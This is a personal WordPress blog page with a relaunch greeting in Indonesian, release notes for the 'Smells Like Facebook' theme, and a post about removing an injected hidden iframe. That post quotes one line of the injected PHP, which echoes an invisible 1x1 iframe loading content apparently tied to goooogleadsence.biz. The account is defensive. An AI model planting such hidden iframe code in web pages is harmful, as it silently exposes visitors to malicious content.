Re-Hello World!!-isasi

Haha! Hampir lupa kalo punya blog ini (doh).

Mohon maaf pemirsa, blog ini sempat tidak bisa diakses selama 2 minggu. Gara-garanya disuspend pihak hosting dikarenakan ada skrip iklan yang habisin resource CPU server :D . Pada saat yang sama, saya, sohibul blog (bahasa keren-nya bloger selain narablog) sedang berada di kampung halaman yang sejuk, nyamain, damai dan jauh dari internet. Jadi yaaa.. sekalian aja blognya ikut libur Lebaran.

Dan setelah jumlah visit yang menurun, Google PageRank yang jatuh bebas, dan beberapa pemasang iklan yang mencak-mencak, akhirnya blog ini dapat dinikmati kembali. Untuk saat ini belum ada postingan bermutu yang layak dibaca, tapi yaaaa.. daripada ga bisa diakses.

Sekian kata-kata pembukaan re-launch blog ini. Selamat menikmati dan tak lupa sohibul blog mengucapkan selamat hari raya Idul Fitri, mohon maaf lahir dan batin :D

Smells Like Facebook 2.0

Update (10/07): Smells like Facebook now on version 2.2, to see what’s new visit Smells like Facebook blog.

After a long development, the newest version of Smells like Facebook theme is now available to download. Smells like Facebook 2.0 has many major changes from its first version. What’s new on this version? Here you are:

  1. Advanced Javascript & AJAX effect available. With WordPress jQuery, you’ll think that you’re really on Facebook and forget that you are actually reading your own blog.
  2. Right sidebar. So many people asked to me how to add second sidebar, and now it’s available. It clones the ads sidebar on your Facebook profile page.
  3. Customizable sidebar avatar & site logo. Now you can choose what picture that will be displayed on the sidebar, not only gravatar of the administrator. Option to add a site logo that will be displayed on the top left corner (like Facebook logo) now also available
  4. New dashboard page for Smells Like Facebook options. If you think AJAX effect will make your blog slow, or if you don’t want the right sidebar on your homepage, now you can customize it on the Smells Like Facebook dashboard. It’s available on “Appearance” menu.
  5. Some CSS fixes: bullet & numbering now will displayed correctly on posts.

In 2.0.2 version, some bugs have been discovered. Thy are including:

  • “Show older post” link will append the same content if clicked more than once (Ajax mode).
  • The loading image will mutiply everytime “Show older post” is clicked.
  • fixURL() method doesn’t work on Safari because Safari will decode “#” sign in URL if it appears more than once (Ajax mode).
  • Adblock (Firefox addon) considers the right sidebar as an ads bar and block it.
  • If blog homepage is different from the directory where WordPress is installed, link to Dashboard will still be loaded AJAX-ly

But in now live 2.0.3 version, those bugs have been terminated. Bad news, it seems that I totally forgot about “famous” Internet Explorer when developing this theme. Almost all Javascript & AJAX event doesn’t work on 3 versions of IE: IE6, IE7 & IE8. Even in IE6 some CSS is messed up. Phew, thanks IE for giving an extra work.

Anyway, you can download the newest version on WordPress Theme Directory. If you find some bugs or want to suggest something for next development, please visit the new blog dedicated for Smells Like Facebook. And don’t forget to follow our update on Facebook, Twitter or Plurk.

Enjoy!

Blocks the Annoying goooogleadsence.biz Iframe

Hey, in the middle of my work finishing the Smells Like Facebook Theme, I realize that somehow my blog always load something from http://goooogleadsence.biz/. The browser status bar always show “Connecting to http://goooogleadsence.biz/” every time I load my blog page. I thought it is my ads script. But after I check, it isn’t. Then scan blog directories and found some malicious script in some files like this

echo “<iframe src=\”?click=7B42BF\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;

Feeling suspicious, I google about it. Then I find this post: http://www.diovo.com/2009/03/hidden-iframe-injection-attacks/. I finally know that the script was added somehow to my files by a virus. Yes, it is my own mistake. I often connect to my blog ftp to edit themes in a public computers. After I clean all the script from my blog directories and change my ftp password, the script always get back to the files. I don’t know why. I’m very afraid that Google will index my blog as a malicious site because of that script.

Then I got an idea. I made a very simple plugin that will end the execution of PHP script after the theme footer is loaded. So the malicious script will never be executed and the iframe will never shown in the blogpage. Of course, the plugin doesn’t remove the script, it just prevent the iframe for being shown. You’ll still need to remove the script from your files manually (or if you’ve found tool to do it). This plugin also useful in case the script get back to your files somehow after you removed them.

You can download the plugin here. It is still in beta version, so if you found some bugs, please report it here. Oh yes, you’ll need to make sure that your theme have a call to wp_footer() function right before </body> close tag.

PS: some of Joomla users have found the tool to remove the script, but.. it has a price, not free. Thanks God, I’m using WordPress..